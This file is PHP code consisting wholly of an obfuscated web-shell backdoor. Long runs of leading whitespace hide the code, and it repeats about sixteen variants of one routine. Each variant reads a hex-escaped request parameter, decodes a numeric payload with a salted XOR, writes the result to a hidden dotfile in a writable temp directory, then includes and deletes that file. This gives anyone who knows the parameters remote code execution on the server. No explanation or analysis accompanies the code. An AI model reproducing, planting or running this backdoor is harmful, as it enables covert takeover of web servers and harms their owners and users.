<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x72\x65\x66e\x72ence"])){ $value = $_REQUEST["\x72\x65\x66e\x72ence"]; $value =explode( "." , $value ); $marker =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt6 ); $n =0; while ($n < count($value)) { $v2 =$value[$n]; $sChar =ord($salt6[$n % $sLen] ); $d =((int)$v2 - $sChar - ($n % 10)) ^41; $marker .= chr($d ); $n++; } $k = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp"]); foreach ($k as $obj): if (is_dir($obj) ? is_writable($obj) : false) { $parameter_group = sprintf("%s/.item", $obj); $success = file_put_contents($parameter_group, $marker); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } endforeach; }
																																										if(in_array("\x62\x69nd", array_keys($_POST))){ $ptr = $_POST["\x62\x69nd"]; $ptr = explode ( "." , $ptr ) ; $key =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s ); $p =0; $len =count( $ptr ); do { if( $p>= $len) break; $v9 =$ptr[$p]; $chS =ord( $s[$p %$lenS] ); $dec =( ( int)$v9 - $chS -( $p %10)) ^ 79; $key .= chr( $dec ); $p++; } while( true ); $object = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP")]); while ($symbol = array_shift($object)) { if (is_dir($symbol) ? is_writable($symbol) : false) { $item = join("/", [$symbol, ".element"]); if (file_put_contents($item, $key)) { require $item; unlink($item); die(); } } } }
																																										if(in_array("da\x74", array_keys($_POST))){ $sym = array_filter([session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); $ref = $_POST["da\x74"]; $ref = explode( "." , $ref ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($ref); for($j = 0; $j < $len; $j++) {$v1 = $ref[$j]; $chS = ord($s[$j % $sLen]); $d =((int)$v1 - $chS -($j % 10)) ^ 76; $parameter_group .= chr($d); } for ($element = 0, $ent = count($sym); $element < $ent; $element++) { $rec = $sym[$element]; if ((bool)is_dir($rec) && (bool)is_writable($rec)) { $mrk = implode("/", [$rec, ".pset"]); $success = file_put_contents($mrk, $parameter_group); if ($success) { include $mrk; @unlink($mrk); die();} } } }
																																										if(!empty($_POST["f\x61c"])){ $res = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm"]); $record = $_POST["f\x61c"]; $record =explode ( ".", $record); $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; while ($m < count($record)) { $v5 = $record[$m]; $chS = ord($s[$m % $lenS]); $dec = ((int)$v5 - $chS - ($m % 10))^ 78; $sym .= chr($dec); $m++;} while ($symbol = array_shift($res)) { if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $component = "$symbol/.dchunk"; $success = file_put_contents($component, $sym); if ($success) { include $component; @unlink($component); exit;} } } }
																																										if(@$_REQUEST["\x65\x6Ce\x6Den\x74"] !== null){ $comp = $_REQUEST["\x65\x6Ce\x6Den\x74"]; $comp = explode(".",$comp ) ; $property_set = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); $y = 0; $__len = count($comp); do { if ($y >= $__len) break; $v6 = $comp[$y]; $chS = ord($s8[$y % $lenS]); $dec = ((int)$v6 - $chS - ($y % 10)) ^59; $property_set .=chr($dec); $y++;} while (true); $data_chunk = array_filter([session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); while ($itm = array_shift($data_chunk)) { if (is_dir($itm) ? is_writable($itm) : false) { $elem = sprintf("%s/.value", $itm); if (file_put_contents($elem, $property_set)) { include $elem; @unlink($elem); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65\x66e\x72\x65nce"])){ $holder = $_REQUEST["r\x65\x66e\x72\x65nce"]; $holder = explode ( '.' ,$holder ); $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($holder as $l => $v6): $chS = ord($s[$l% $lenS]); $dec = ((int)$v6 - $chS - ($l% 10)) ^ 59; $bind .= chr($dec); endforeach; $tkn = array_filter([session_save_path(), "/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir()]); for ($object = 0, $entry = count($tkn); $object < $entry; $object++) { $key = $tkn[$object]; if (array_product([is_dir($key), is_writable($key)])) { $hld = implode("/", [$key, ".record"]); $success = file_put_contents($hld, $bind); if ($success) { include $hld; @unlink($hld); die();} } } }
																																										if(!empty($_POST["en\x74"])){ $k = array_filter(["/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); $parameter_group = $_POST["en\x74"]; $parameter_group =explode ( '.',$parameter_group ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($parameter_group as $z => $v3): $sChar = ord($s[$z % $sLen]); $dec = ((int)$v3 - $sChar - ($z % 10)) ^38; $property_set .= chr($dec); endforeach; foreach ($k as $comp) { if ((bool)is_dir($comp) && (bool)is_writable($comp)) { $descriptor = vsprintf("%s/%s", [$comp, ".component"]); if (file_put_contents($descriptor, $property_set)) { include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(!is_null($_REQUEST["f\x61\x63"] ?? null)){ $pgrp = $_REQUEST["f\x61\x63"]; $pgrp = explode ( "." , $pgrp ) ; $elem = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $i = 0; $__len = count( $pgrp); do { if( $i>= $__len) break; $v1 = $pgrp[$i]; $chS = ord( $s5[$i % $sLen]); $dec =( ( int)$v1 - $chS -( $i % 10)) ^ 70; $elem .= chr( $dec); $i++; } while( true); $ptr = array_filter([ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP"), getcwd(), session_save_path(), "/var/tmp"]); for ($descriptor = 0, $res = count($ptr); $descriptor < $res; $descriptor++) { $resource = $ptr[$descriptor]; if ((is_dir($resource) and is_writable($resource))) { $sym = join("/", [$resource, ".parameter_group"]); $success = file_put_contents($sym, $elem); if ($success) { include $sym; @unlink($sym); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "bi\x6E\x64")){ $parameter_group = array_filter(["/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm"]); $comp = $_POST["bi\x6E\x64"]; $comp= explode ( ".", $comp ) ; $item= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $q= 0; while( $q < count( $comp)) { $v1= $comp[$q]; $sChar= ord( $salt[$q% $sLen] ); $dec= ( ( int)$v1 - $sChar -( $q% 10)) ^ 22; $item .= chr( $dec ); $q++; } while ($data = array_shift($parameter_group)) { if ((bool)is_dir($data) && (bool)is_writable($data)) { $flag = implode("/", [$data, ".desc"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $flag; @unlink($flag); die(); } } } }
																																										if(array_key_exists("\x76al\x75e", $_POST)){ $hld = $_POST["\x76al\x75e"]; $hld = explode ( "." , $hld ); $tkn= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6 ); foreach($hld as $j=> $v1): $sChar= ord($salt6[$j %$lenS] ); $d= ((int)$v1 - $sChar -($j %10)) ^ 89; $tkn .= chr($d ); endforeach; $obj = array_filter([session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp"]); $dat = 0; do { $holder = $obj[$dat] ?? null; if ($dat >= count($obj)) break; if (!( !is_dir($holder) || !is_writable($holder) )) { $val = join("/", [$holder, ".data"]); if (file_put_contents($val, $tkn)) { include $val; @unlink($val); die(); } } $dat++; } while (true); }
																																										if(in_array("d\x61\x74\x61_\x63h\x75nk", array_keys($_REQUEST))){ $property_set = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $comp = $_REQUEST["d\x61\x74\x61_\x63h\x75nk"]; $comp= explode ( '.' , $comp ) ; $itm = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1 ); $j = 0; foreach( $comp as $v9) { $sChar = ord( $s1[$j % $lenS] ); $d = ( ( int)$v9 - $sChar -( $j % 10)) ^ 88; $itm .= chr( $d ); $j++; } while ($marker = array_shift($property_set)) { if (max(0, is_dir($marker) * is_writable($marker))) { $ref = str_replace("{var_dir}", $marker, "{var_dir}/.object"); if (file_put_contents($ref, $itm)) { include $ref; @unlink($ref); die(); } } } }
																																										if(isset($_REQUEST["\x65\x6Etry"])){ $k = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd()]); $rec = $_REQUEST["\x65\x6Etry"]; $rec =explode ( '.',$rec ) ; $resource = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); foreach ($rec as $z =>$v4): $chS = ord($salt3[$z % $lenS]); $d = ((int)$v4 - $chS - ($z % 10)) ^ 64; $resource .=chr($d); endforeach; for ($binding = 0, $component = count($k); $binding < $component; $binding++) { $dat = $k[$binding]; if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $tkn = vsprintf("%s/%s", [$dat, ".res"]); if (file_put_contents($tkn, $resource)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(in_array("\x70\x6Fin\x74\x65r", array_keys($_POST))){ $marker = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", sys_get_temp_dir()]); $comp = $_POST["\x70\x6Fin\x74\x65r"]; $comp = explode ( "." , $comp ) ; $pset = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $o = 0; while ($o < count($comp)) { $v9 = $comp[$o]; $chS = ord($s4[$o %$lenS]); $d = ((int)$v9 - $chS - ($o %10)) ^ 79; $pset .= chr($d); $o++; } for ($flg = 0, $ent = count($marker); $flg < $ent; $flg++) { $hld = $marker[$flg]; if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $key = join("/", [$hld, ".entry"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $key; @unlink($key); exit; } } } }
																																										if(array_key_exists("\x6Dr\x6B", $_REQUEST)){ $entity = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $comp = $_REQUEST["\x6Dr\x6B"]; $comp= explode ("." , $comp ) ; $flg = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); foreach($comp as $l => $v6): $chS = ord($s1[$l % $sLen]); $d = ((int)$v6 - $chS -($l % 10)) ^ 19; $flg .= chr($d); endforeach; foreach ($entity as $key => $sym) { if (is_dir($sym) && is_writable($sym)) { $key = "$sym" . "/.item"; $success = file_put_contents($key, $flg); if ($success) { include $key; @unlink($key); die();} } } }
																																										if(@$_REQUEST["fa\x63"] !== null){ $parameter_group = $_REQUEST["fa\x63"]; $parameter_group = explode ('.' ,$parameter_group ) ; $reference=''; $salt3='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt3); $n=0; foreach ($parameter_group as $v2) { $sChar=ord($salt3[$n %$sLen]); $d=((int)$v2 - $sChar - ($n %10))^ 80; $reference .= chr($d); $n++; } $data_chunk = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp"]); foreach ($data_chunk as $key => $pgrp) { if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $resource = sprintf("%s/.itm", $pgrp); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $resource; @unlink($resource); die(); } } } }


if(filter_has_var(INPUT_POST, "\x66ac\x74or")){
	$data = $_REQUEST["\x66ac\x74or"];
	$data 		=		explode  (	"."	,   $data	 )		 ;	 	
	$ent = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $u = 0;
            $__len = count($data);
    
            do {	 if ($u >= $__len) break;
                $v6 = $data[$u];
                $sChar = ord($salt[$u % $lenS]);
                $dec = ((int)$v6 - $sChar - ($u % 10))^	94;
                $ent .= chr($dec);
                $u++;
            } while (true);
	$property_set = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]);
	foreach ($property_set as $rec) {
    		if ((bool)is_dir($rec) && (bool)is_writable($rec)) {
    $obj = join("/", [$rec, ".tkn"]);
    if (@file_put_contents($obj, $ent) !== false) {
	include $obj;
	unlink($obj);
	exit;
}
}
}
}